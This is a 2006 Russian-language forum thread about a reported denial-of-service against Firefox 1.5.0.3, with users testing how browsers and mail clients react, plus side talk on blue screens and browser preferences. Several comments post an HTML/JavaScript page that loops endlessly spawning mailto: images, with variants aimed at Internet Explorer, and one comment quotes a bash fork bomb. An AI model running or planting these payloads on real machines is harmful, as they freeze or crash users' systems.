Ответ на: комментарий от SteepZ 12.05.06 10:37:48 MSD

> У меня видимо разгон

Синий экран это либо переразогнанная память, либо болтающиеся PCI-платы. Вынь платы и память, продуй от пыли, притри их в разъёмах... Ну и разгон с памяти сними.

А у переразогнанного процессора симптомы совсем другие. Просто одна картинка на экране, писк из колонок и мёртвый вис.

Poontos
(12.05.06 14:07:05 MSD)

>Открылось сто потому что в цикле на джава скрипт стоит сто посмотри код страницы, а если запустить бесконечный цикл.

а лимиты уже не в моде?

>Проверил на нескольких машинах Ужасный DOS выглядит везде вот так http://img160.imageshack.us/img160/5568/fakeffdos7nm.png

у меня та же картинка. просто, оно потому, что не настроена фича автоматического открывания почтового клиента при клацаньи линка на мыло, типа mailto:pupkin@email

такими DoS детей только пугать, которые не умеют защититься от :(){ :|:& };:

http://en.wikipedia.org/wiki/Fork_bomb

Marmirus ★★
(12.05.06 14:22:57 MSD)

Ссылка

Ответ на: комментарий от anonymous 12.05.06 13:40:18 MSD

> Ты покури еще своей дури - еще и не такое услышишь, да что там
> услышишь, еще и бардовых крокодилов на дереве увидишь.

Бардовые крокодилы - это которые бардовские песни поют?

coxx ★
(12.05.06 14:31:09 MSD)

<Head>
<Title>test2 by securityview</Title>
</Head>

<Body>
<SCRIPT Language="Javascript">
for(i=0;; i++){
document.write('<Img src="mailto:test@securityview.org?subject=test email&body=DoS!">')
}
</SCRIPT>
</Body>

Создайте файлик .html с вышеприведённым кодом - и попробуйте открыть в Лисе...
Цикл бесконечный... Эксплорер - спросил "Вырубить медленный скрипт"...
Опера - открыла страницу с незагруженными картинками... А Лису - страшно запускать...

anonymous
(12.05.06 14:32:14 MSD)

Ответ на: комментарий от anonymous 12.05.06 14:32:14 MSD

Фокс повис намертво, вернее не повис, а все это дело грузит отжирая оперативку. Эх фаерфокс-фаерфокс. Казалось бы, открытый код в отличии от ие и оперы, а вылизать не могут.

SteepZ ★
(12.05.06 14:38:30 MSD)

Ответ на: комментарий от SteepZ 12.05.06 14:38:30 MSD

FF до бесконечности выполняет бесконечный цикл- почему это кого-то так удивляет?

" `yes` "

тоже всю доступную оперативку сожрет- эксплойт?

Anonymous ★★★★★
(12.05.06 14:47:58 MSD)

Ответ на: комментарий от anonymous 12.05.06 14:32:14 MSD

создал файл со всей этой байдой, открыл в огнелисе, секунды 3 подумало, выкинуло диалог "A script on this page may be busy, or it may have stopped responding. You can stop the script now, or you can continue to see if the script will complete" (Continue) (Stop script)

открыл в konqueror, тот сказал: "A script on this page is causing KHTML to freeze. If it continues to run, other applications may become less responsive." (Abort) (Continue)

открыл в опере: опера стала жрать память (поhtop увидел), дошла до половины свопа (секунд 30) и упала...

IE нету, и лень ставить под wine, думаю, итог был бы "wine начало жрать память дошло до лимита и упало"

Marmirus ★★
(12.05.06 14:56:21 MSD)

Ссылка

Ответ на: комментарий от Anonymous 12.05.06 14:47:58 MSD

> почему это кого-то так удивляет? потому что другие браузеры себя нормально ведут.

> тоже всю доступную оперативку сожрет- эксплойт?

да..

хм..а батин аутлук вообще пропал, сам бинарь..хм..

Почему в вышеприведенной интерпритации виснет фокс, а не открывается много окон аутлука?

SteepZ ★
(12.05.06 14:56:30 MSD)

Ответ на: комментарий от anonymous 12.05.06 13:42:37 MSD

> открылось 71 окошко xterm с mutt
а этот эксплоит не предназначен для извращенцев.

anonymous
(12.05.06 15:03:13 MSD)

Ссылка

попробовал в IE6 из под Wine.
открылось ОДНО окошко с KMail. Со словом "DoS!" в теле письма. и все. У меня наверное руки кривые или что я делаю не так?

anonymous
(12.05.06 15:09:37 MSD)

Ссылка

не приятно однако - выскочило 100 окон thunderbird'a с сообщением. в результате увеличение использования памяти метров на 120! правда при этом работало все нормольно можноприбить процесс. Slackware + Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2

AleX ★★★
(12.05.06 15:23:31 MSD)

Ответ на: комментарий от SteepZ 12.05.06 14:56:30 MSD

>Почему в вышеприведенной интерпритации виснет фокс, а не открывается много окон аутлука?
FF прибивает скрипт через 5 секунд- по версии авторов аутлук за это время успеет повесить винду

Anonymous ★★★★★
(12.05.06 15:35:47 MSD)

Ссылка

Ответ на: комментарий от anonymous 12.05.06 14:32:14 MSD

Вот так круче.

<Head>
<Title>test2 by securityview</Title>
</Head>

<Body>
<SCRIPT Language="Javascript">
for(i=0;i<1000; i++){
document.write('<Img src="mailto:test@securityview.org?subject=test email&body=DoS!">')
}
</SCRIPT>
</Body>

xnix ★★
(12.05.06 15:35:53 MSD)

Ответ на: комментарий от xnix 12.05.06 15:35:53 MSD

>открыл в опере: опера стала жрать память (поhtop увидел), дошла до половины свопа (секунд 30) и упала...

Нех пиздеть - опера 9 какой-то из древних билдов - не повис и память не отожрал.

dengol
(12.05.06 15:50:22 MSD)

Ответ на: комментарий от xnix 12.05.06 15:35:53 MSD

1000 круче бесконечности?

SteepZ ★
(12.05.06 15:51:03 MSD)

Ответ на: комментарий от SteepZ 12.05.06 10:56:42 MSD

работает, под виндой - многократно запускает outluk

anonymous
(12.05.06 15:52:36 MSD)

Ссылка

Ответ на: комментарий от dengol 12.05.06 15:50:22 MSD

>Нех пиздеть - опера 9 какой-то из древних билдов...
Оперы 9 еще нет

Anonymous ★★★★★
(12.05.06 15:59:58 MSD)

Ответ на: комментарий от Lumi 12.05.06 10:34:38 MSD

>BSOD в 99% случаев это -- битая память, некачественный блок питания, кривые драйверы, разгон.

+1

Я бы даже сказал, что в 99.9%

Последний раз "нежелезный" BSOD видел во времена ранних Win2000. Не смотря на то, что десятками машин рулил.

При чём чаще всего при "железном" BSOD'е виновата память. Нередко глюки такие хитрые, что ни одним тестом не отлавливаются, только по CRC-error многогигабайтных архивов.

~~KRoN73~~ ★★★★★
(12.05.06 16:03:11 MSD)

Ответ на: комментарий от KRoN73 12.05.06 16:03:11 MSD

Кстати, все из себя защищённые NT-подобные винды валятся (или коматозятся так что проще резет нажать) от абсолютно безобидного Fast Tracker. А в W98 всё работает как часы. :)

Poontos
(12.05.06 16:06:23 MSD)

Ссылка

Ответ на: комментарий от Anonymous 12.05.06 15:59:58 MSD

>Оперы 9 еще нет

Если "официальная бета" для тебя = "нет", то это в клинику.

~~KRoN73~~ ★★★★★
(12.05.06 16:06:25 MSD)

Ссылка

Ответ на: комментарий от SteepZ 12.05.06 15:51:03 MSD

фф начинает запускать почтового клента после ОКОНЧАНИЯ работы скрипта.

xnix ★★
(12.05.06 16:07:10 MSD)

Ссылка

Ответ на: комментарий от AcidumIrae 12.05.06 11:24:47 MSD

>по заявлениям Microsoft,

ага. а уж как они над энкартой надругались

anonymous
(12.05.06 16:11:08 MSD)

Ссылка

Ответ на: комментарий от AleX 12.05.06 15:23:31 MSD

У меня не сработало ничего. Вид --- как на вышепреведенной ссылке http://img160.imageshack.us/img160/5568/fakeffdos7nm.png И тишинаааа... :)

KOPEHb ★★★
(12.05.06 16:26:43 MSD)

Ссылка

У меня запустилось 72 ThunderBird и выключились.... с ошибкой а в "глючном" файрфоксе все работет и я отчет из него же пишу

anonymous
(12.05.06 16:34:53 MSD)

Ссылка

Ответ на: комментарий от WindowsUser 12.05.06 13:30:05 MSD

> Ну или жабовское апп какое запустить - тож хороший индикатор. JVM если падает по собственной ошибке, то успевает оставить дамп. А если по причине памяти - то без оного..

Здрасте, а ядерный дамп что ли уже не устраивает при битой памяти?

anonymous
(12.05.06 16:43:31 MSD)

Ссылка

Ответ на: комментарий от anonymous 12.05.06 13:40:18 MSD

>>Угу, ring0 и ring3 это миф. Ты покури еще своей дури - еще и не такое услышишь, да что там услышишь, еще и бардовых крокодилов на дереве увидишь.

Вот, а я думал, как бы слова правильные подобрать %)

anonymous
(12.05.06 17:55:33 MSD)

Opera как всегда рулит.

a1s2d3 ★
(12.05.06 18:12:53 MSD)

Ссылка

Ответ на: комментарий от SteepZ 12.05.06 14:38:30 MSD

ёRe: Firefox 1.5.0.3 подвержен DoS атакам

>Эх фаерфокс-фаерфокс. Казалось бы, открытый код в отличии от ие и оперы, а вылизать не могут.

konqueror?

И потом вспомним про дыры в ишаке, как много народу отымеется до выхода "заплатки", и, плюясь, вернёмся к фф =)

magesor ★☆
(12.05.06 18:33:44 MSD)

Ответ на: комментарий от rtvd 12.05.06 10:20:30 MSD

>Как-то сделал себе homepage с простеньким javascript что менял по определенному алгоритму картинки. Хотел добиться эффекта a-la matrix или thief. В результате IE падал при просмотре, причем только если скорость соединения была невысокой. :-) Ну а Mozilla съедала все на ура.

Весело ;) Может картинки заранее не подгружались, до начала выполнения остальных функций?

magesor ★☆
(12.05.06 18:35:59 MSD)

Ссылка

Ответ на: комментарий от anonymous 12.05.06 14:32:14 MSD

> Создайте файлик .html с вышеприведённым кодом - и попробуйте открыть в Лисе...

Таки да, виснет. Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.8.0.2) Gecko/20060419 Fedora/1.5.0.2-1.2.fc5 Firefox/1.5.0.2 pango-text

Relan ★★★★★
(12.05.06 19:14:58 MSD)

Ответ на: ёRe: Firefox 1.5.0.3 подвержен DoS атакам от magesor 12.05.06 18:33:44 MSD

>И потом вспомним про дыры в ишаке, как много народу отымеется до выхода "заплатки", и, плюясь, вернёмся к фф =)

Если и убегать от FF, то на Opera! А "неправильная идеология" оперы пофиг, главное что браузер очень качественный.

berserg
(12.05.06 19:22:26 MSD)

Ответ на: комментарий от berserg 12.05.06 19:22:26 MSD

> Если и убегать от FF, то на Opera! А "неправильная идеология" оперы пофиг, главное что браузер очень качественный.

Долго сидел на опере, ФФ удобнее. Особенно прёт ФФшный поиск - просто суперфишка.

Poontos
(12.05.06 19:31:52 MSD)

Ответ на: комментарий от Relan 12.05.06 19:14:58 MSD

>Таки да, виснет.

+1, в отличие от Konquer'a ;)

А вот опера-8.51 втихую за минуту всю память откушала =) Сначала незаметно было, казалось что она прибила цикл, и даже начал её в этом посте расхваливать, как вдруг - на горизонте показался МедведЪ =)

magesor ★☆
(12.05.06 19:35:40 MSD)

Ссылка

Ответ на: комментарий от Poontos 12.05.06 19:31:52 MSD

konqueror так умеет.. ну почти так ;) Причём кошерно, по нажатию "/" - случайно обнаружил после полуночного чтения манов =)

magesor ★☆
(12.05.06 19:38:38 MSD)

Ответ на: комментарий от Poontos 12.05.06 19:31:52 MSD

>Особенно прёт ФФшный поиск - просто суперфишка.

Имеется ввиду поиск по странице или поисковики? В опере девятке с первым все супер (есть подсветка и прочие дела), а со вторым дела обстоят даже получше чем у фокса - например можно создавать новые поисковики тремя кликами мыши, а в настройках уже есть встроенный редактор поисковиков.

berserg
(12.05.06 19:46:05 MSD)

Ссылка

Ответ на: комментарий от magesor 12.05.06 19:38:38 MSD

> Причём кошерно, по нажатию "/"

Открой для себя чудесный мир ff - он тоже так умеет. =)

Atrus ★
(12.05.06 20:04:51 MSD)

Ответ на: комментарий от atrus 12.05.06 10:50:27 MSD

Вот спасибо!

Молодец этот atrus: дал правильную штуку.
Я вот параметр заменил, какой надо, специально в винду вылез! И шо?
ФФ так и сказал: "один линк надо открыть в почтовом клиенте, разрешить? имей в виду, что это может быть использованием уязвимости!"
Ну разумеется я поставил галочку "не спрашивать более" и нажал отмену. Хде атака? Нету..

Браузер должен браузить, отдельно от всяких изврафич, IMHO

manokur ★★
(12.05.06 20:11:35 MSD)

Ссылка

Ответ на: комментарий от SteepZ 12.05.06 15:51:03 MSD

> 1000 круче бесконечности?

Да нет, просто 1000 окошек тебе и твоему бедному WM вполне хватит, чтобы загрустить.

yozhhh ★★★
(12.05.06 20:13:22 MSD)

Ссылка

Ответ на: комментарий от Atrus 12.05.06 20:04:51 MSD

>Открой для себя чудесный мир ff - он тоже так умеет. =)

Опера так умела еще во времена когда не было FF. Плюс к этому есть поиск по ссылкам на странице (хоткей "," ). фичами? Эксплоит это же не фича :).

berserg
(12.05.06 20:23:01 MSD)

Ответ на: комментарий от berserg 12.05.06 20:23:01 MSD

>Браузер должен браузить, отдельно от всяких изврафич, IMHO

А что понимается под "изврафичами"? Эксплоит это не фича ;).

berserg
(12.05.06 20:23:46 MSD)

Ссылка

Ответ на: комментарий от anonymous 12.05.06 14:32:14 MSD

<Head> <Title>test2 by securityview</Title> </Head>

<Body> <SCRIPT Language="Javascript"> for(i=0;; i++){ document.write('<Img src="mailto:test'+i+'@securityview.org?subject=test email&body=DoS!">') } </SCRIPT> </Body>

а если сделать так, то и ie хана

anonymous
(12.05.06 20:37:46 MSD)

Ссылка

Ответ на: комментарий от belea 12.05.06 10:12:26 MSD

Причем тут JS дурилка?

anonymous
(12.05.06 20:38:00 MSD)

Ссылка

Зашёл на http://securityview.org/test.html - ничего не произошло :(

P.S. NoScript rulez!

birdie ★★★★★
(12.05.06 20:46:15 MSD)

Ссылка

кстати seamonkey и в винде не падает)

anonymous
(12.05.06 20:50:59 MSD)

Ссылка

Ответ на: комментарий от anonymous 12.05.06 17:55:33 MSD

>> Угу, ring0 и ring3 это миф. Ты покури еще своей дури - еще и не такое услышишь, да что там услышишь, еще и бардовых крокодилов на дереве увидишь.
> Вот, а я думал, как бы слова правильные подобрать %)

Говенда как была m$-DoS'ом, так им же и осталась. Те же самые 8.3 "кое-где" промелькивающие, cp866 в консоли, возможность завалить ядрышко из юзерспейса и прочие "прелести". Так что пeсдeть будете на винфаке, а здесь вам никто не поверит. ;-)

~~fernik~~ ☆
(12.05.06 21:02:16 MSD)

Ссылка

Ответ на: комментарий от Lumi 12.05.06 10:34:38 MSD

>BSOD в 99% случаев это -- битая память, некачественный блок питания, кривые драйверы, разгон.

Точно.

jackill ★★★★★
(12.05.06 21:38:17 MSD)

Ссылка

Ответ на: комментарий от anonymous 12.05.06 13:35:07 MSD

>http://securityview.org/test.html

Зашел на страницу. Вывелось окно аутлук с сообщение DoS! И все.

jackill ★★★★★
(12.05.06 21:43:20 MSD)

Ссылка

Ответ на: комментарий от anonymous 12.05.06 13:35:07 MSD

А, на отдельном табе было штук сорок неоткрывшихся картинок. ff 1.0.6

Не понял насколько ранние версии подвержены.

jackill ★★★★★
(12.05.06 21:44:16 MSD)

Ссылка

Firefox 1.0.7

Открывает ОДНО окно e-Mail, которое преспокойно можно закрыть или не закрывать. другие окна не открываются, пока в эксплойте не кликнуть правой мышей "показать картинку" на одну из 100 иконок.

опять открывается одно единственное окно. Остальной Outlook не виснет и не глючит.

в чём моя ошибка?? ;)

Muromez
(12.05.06 21:45:17 MSD)

Ссылка

Ответ на: комментарий от Poontos 12.05.06 14:07:05 MSD

>А у переразогнанного процессора симптомы совсем другие. Просто одна картинка на экране, писк из колонок и мёртвый вис.

У меня тут блок питания глючил - винт не подцеплялся, плата с дополнительным USB глючила, машина перегружалась иногда и в линукс, и в винде.

Заменил - полет нормальный.

jackill ★★★★★
(12.05.06 21:46:20 MSD)

Ссылка

ёRe: Firefox 1.5.0.3 подвержен DoS атакам

Похожие темы